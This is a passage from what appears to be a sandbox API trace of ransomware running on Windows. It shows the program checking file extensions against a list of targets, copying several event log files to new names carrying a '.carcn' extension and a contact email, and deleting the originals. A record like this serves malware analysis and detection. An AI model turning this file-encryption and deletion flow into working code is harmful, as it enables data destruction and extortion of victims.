returned -1 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.907] lstrlenW (lpString=".doc") returned 4 [0180.907] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.907] lstrlenW (lpString=".docx") returned 5 [0180.907] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.907] lstrlenW (lpString=".pdf") returned 4 [0180.908] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString=".xls") returned 4 [0180.908] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString=".xlsx") returned 5 [0180.908] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.908] lstrlenW (lpString=".ppt") returned 4 [0180.908] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.908] lstrlenW (lpString=".zip") returned 4 [0180.908] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString=".rar") returned 4 [0180.908] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString=".bz2") returned 4 [0180.908] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString=".7z") returned 3 [0180.908] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.908] lstrlenW (lpString=".dbf") returned 4 [0180.908] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.908] lstrlenW (lpString=".1cd") returned 4 [0180.908] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.908] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Shell-Core%4ActionCenter.evtx") returned 55 [0180.908] lstrlenW (lpString=".jpg") returned 4 [0180.908] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.909] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.909] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 46 [0180.909] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.909] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.909] CloseHandle (hObject=0x390) returned 1 [0180.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0180.909] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.910] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0180.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.910] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.910] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0180.910] GetLastError () returned 0x0 [0180.910] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.936] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.938] ReadFile (in: hFile=0x390, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.938] WriteFile (in: hFile=0x308, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x130, lpOverlapped=0x0) returned 1 [0180.938] SetEndOfFile (hFile=0x308) returned 1 [0180.938] CloseHandle (hObject=0x308) returned 1 [0180.940] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.940] SetEndOfFile (hFile=0x390) returned 1 [0180.941] CloseHandle (hObject=0x390) returned 1 [0180.941] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.941] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0180.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.942] lstrlenW (lpString=".doc") returned 4 [0180.942] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".docx") returned 5 [0180.942] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.942] lstrlenW (lpString=".pdf") returned 4 [0180.942] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".xls") returned 4 [0180.942] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".xlsx") returned 5 [0180.942] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.942] lstrlenW (lpString=".ppt") returned 4 [0180.942] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.942] lstrlenW (lpString=".zip") returned 4 [0180.942] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".rar") returned 4 [0180.942] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".bz2") returned 4 [0180.942] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString=".7z") returned 3 [0180.942] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.942] lstrlenW (lpString=".dbf") returned 4 [0180.942] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.942] lstrlenW (lpString=".1cd") returned 4 [0180.943] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString=".jpg") returned 4 [0180.943] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString=".doc") returned 4 [0180.943] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".docx") returned 5 [0180.943] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.943] lstrlenW (lpString=".pdf") returned 4 [0180.943] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".xls") returned 4 [0180.943] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".xlsx") returned 5 [0180.943] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.943] lstrlenW (lpString=".ppt") returned 4 [0180.943] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString=".zip") returned 4 [0180.943] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".rar") returned 4 [0180.943] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".bz2") returned 4 [0180.943] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString=".7z") returned 3 [0180.943] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString=".dbf") returned 4 [0180.943] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.943] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.943] lstrlenW (lpString=".1cd") returned 4 [0180.944] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.944] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx") returned 54 [0180.944] lstrlenW (lpString=".jpg") returned 4 [0180.944] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.944] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.944] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0180.944] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0180.948] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.948] CloseHandle (hObject=0x38c) returned 1 [0180.949] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0180.949] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0180.949] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.949] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.949] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.952] GetLastError () returned 0x0 [0180.952] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0180.967] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0180.969] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0180.969] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x128, lpOverlapped=0x0) returned 1 [0180.969] SetEndOfFile (hFile=0x380) returned 1 [0180.969] CloseHandle (hObject=0x380) returned 1 [0180.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.971] SetEndOfFile (hFile=0x38c) returned 1 [0180.972] CloseHandle (hObject=0x38c) returned 1 [0180.972] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0180.972] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0180.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.973] lstrlenW (lpString=".doc") returned 4 [0180.973] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".docx") returned 5 [0180.973] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.973] lstrlenW (lpString=".pdf") returned 4 [0180.973] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".xls") returned 4 [0180.973] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".xlsx") returned 5 [0180.973] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.973] lstrlenW (lpString=".ppt") returned 4 [0180.973] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.973] lstrlenW (lpString=".zip") returned 4 [0180.973] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".rar") returned 4 [0180.973] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".bz2") returned 4 [0180.973] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.973] lstrlenW (lpString=".7z") returned 3 [0180.973] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.973] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString=".dbf") returned 4 [0180.974] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString=".1cd") returned 4 [0180.974] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString=".jpg") returned 4 [0180.974] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString=".doc") returned 4 [0180.974] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".docx") returned 5 [0180.974] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0180.974] lstrlenW (lpString=".pdf") returned 4 [0180.974] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".xls") returned 4 [0180.974] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".xlsx") returned 5 [0180.974] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0180.974] lstrlenW (lpString=".ppt") returned 4 [0180.974] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.974] lstrlenW (lpString=".zip") returned 4 [0180.974] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".rar") returned 4 [0180.974] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".bz2") returned 4 [0180.974] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0180.974] lstrlenW (lpString=".7z") returned 3 [0180.974] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0180.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.975] lstrlenW (lpString=".dbf") returned 4 [0180.975] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0180.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.975] lstrlenW (lpString=".1cd") returned 4 [0180.975] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0180.975] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0180.975] lstrlenW (lpString=".jpg") returned 4 [0180.975] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0180.975] lstrcmpiW (lpString1=".evtx", lpString2=".carcn") returned 1 [0180.975] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0180.975] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0180.975] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2feff14 | out: lpFileSize=0x2feff14*=69632) returned 1 [0180.975] CloseHandle (hObject=0x38c) returned 1 [0180.975] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0180.975] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0180.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0180.976] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.976] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0180.976] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0180.976] GetLastError () returned 0x0 [0180.976] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x11000, lpOverlapped=0x0) returned 1 [0181.416] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x11010, lpOverlapped=0x0) returned 1 [0181.529] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fefecc, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesRead=0x2fefecc*=0x0, lpOverlapped=0x0) returned 1 [0181.529] WriteFile (in: hFile=0x380, lpBuffer=0x3bd6020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2fefc94, lpOverlapped=0x0 | out: lpBuffer=0x3bd6020*, lpNumberOfBytesWritten=0x2fefc94*=0x130, lpOverlapped=0x0) returned 1 [0181.529] SetEndOfFile (hFile=0x380) returned 1 [0181.529] CloseHandle (hObject=0x380) returned 1 [0181.531] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fefec0 | out: lpNewFilePointer=0x0) returned 1 [0181.531] SetEndOfFile (hFile=0x38c) returned 1 [0181.532] CloseHandle (hObject=0x38c) returned 1 [0181.532] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0181.532] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".doc") returned 4 [0181.533] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".docx") returned 5 [0181.533] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.533] lstrlenW (lpString=".pdf") returned 4 [0181.533] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".xls") returned 4 [0181.533] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".xlsx") returned 5 [0181.533] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.533] lstrlenW (lpString=".ppt") returned 4 [0181.533] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".zip") returned 4 [0181.533] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".rar") returned 4 [0181.533] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".bz2") returned 4 [0181.533] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString=".7z") returned 3 [0181.533] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".dbf") returned 4 [0181.533] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".1cd") returned 4 [0181.533] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".jpg") returned 4 [0181.533] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.533] lstrlenW (lpString=".doc") returned 4 [0181.534] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".docx") returned 5 [0181.534] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0181.534] lstrlenW (lpString=".pdf") returned 4 [0181.534] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".xls") returned 4 [0181.534] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".xlsx") returned 5 [0181.534] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0181.534] lstrlenW (lpString=".ppt") returned 4 [0181.534] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.534] lstrlenW (lpString=".zip") returned 4 [0181.534] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".rar") returned 4 [0181.534] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".bz2") returned 4 [0181.534] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString=".7z") returned 3 [0181.534] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0181.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.534] lstrlenW (lpString=".dbf") returned 4 [0181.534] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0181.534] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0181.534] lstrlenW (lpString=".1cd") returned 4 [0181.534] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0181.534] lstrlenW 